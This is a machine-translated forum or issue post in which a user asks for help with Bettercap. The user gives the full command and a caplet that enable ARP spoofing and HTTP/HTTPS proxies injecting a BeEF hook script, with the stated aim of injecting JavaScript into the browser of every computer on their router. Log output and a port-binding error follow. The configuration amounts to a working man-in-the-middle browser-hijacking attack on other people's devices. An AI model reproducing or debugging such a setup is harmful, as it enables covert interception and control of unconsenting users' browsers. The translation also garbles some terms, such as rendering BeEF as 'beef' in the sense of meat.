Какой бы порт я не использовал, я получаю сообщение об ошибке:
listen tcp 0.0.0.0:PORT_NUMBER: bind: адрес уже используется
Окружающая среда
- Я также установил это, используя Brew, если вам нужно знать, что
- Bettercap 2.11.1
- Mac OS High-Sierra
- Голанг 1.11.4
Используемый код командной строки:
sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap
говядина active.cap:
set http.proxy.script beef-inject.js
set http.proxy.port 8011
set https.proxy.port 8011
http.proxy on
https.proxy on
sleep 1
arp.spoof on
Ожидаемое поведение:
Я пытаюсь ввести несколько js в браузер каждого компьютера, подключенного к моему маршрутизатору. Я только вижу сообщение об успешной инъекции говядины
Фактическое поведение: что на самом деле произошло
Останавливается, когда попадает на мой IP-адрес. Вот вывод:
[13:26:41] [sys.log] [inf] http.proxy запущен 0.0.0.0:8011 (sslstrip отключен)
[13:26:41] [sys.log] [inf] загрузка ключа TLS центра сертификации прокси-сервера из /var/root/.bettercap-ca.key.pem
[13:26:41] [sys.log] [inf] загрузка сертификата TLS для центра сертификации прокси-сервера из /var/root/.bettercap-ca.cert.pem
[13:26:41] [sys.log] [inf] Включение пересылки.
[13:26:41] [sys.log] [inf] https.proxy запущен 0.0.0.0:8011 (sslstrip отключен)
[13:26:41] [sys.log] [!!!] listen tcp 0.0.0.0:8011: bind: адрес уже используется
редактирование:
Изменение обоих портов на разные остановило ошибку, однако она по-прежнему ничего не вводит в браузеры. Все, что я продолжаю получать в консоли:
хорошо, поэтому я изменил это, и я больше не получаю эту ошибку, однако, она все еще не вводит JS в браузеры. Я просто продолжаю получать новые и потерянные конечные точки, например:
0.0.0.0/24 > 0.0.0.0 » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
0.0.0.0/24 > 0.0.0.0 » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.
.... Затем он продолжает помечать те же сообщения, новые> потерянные> новые> потерянные
Есть идеи?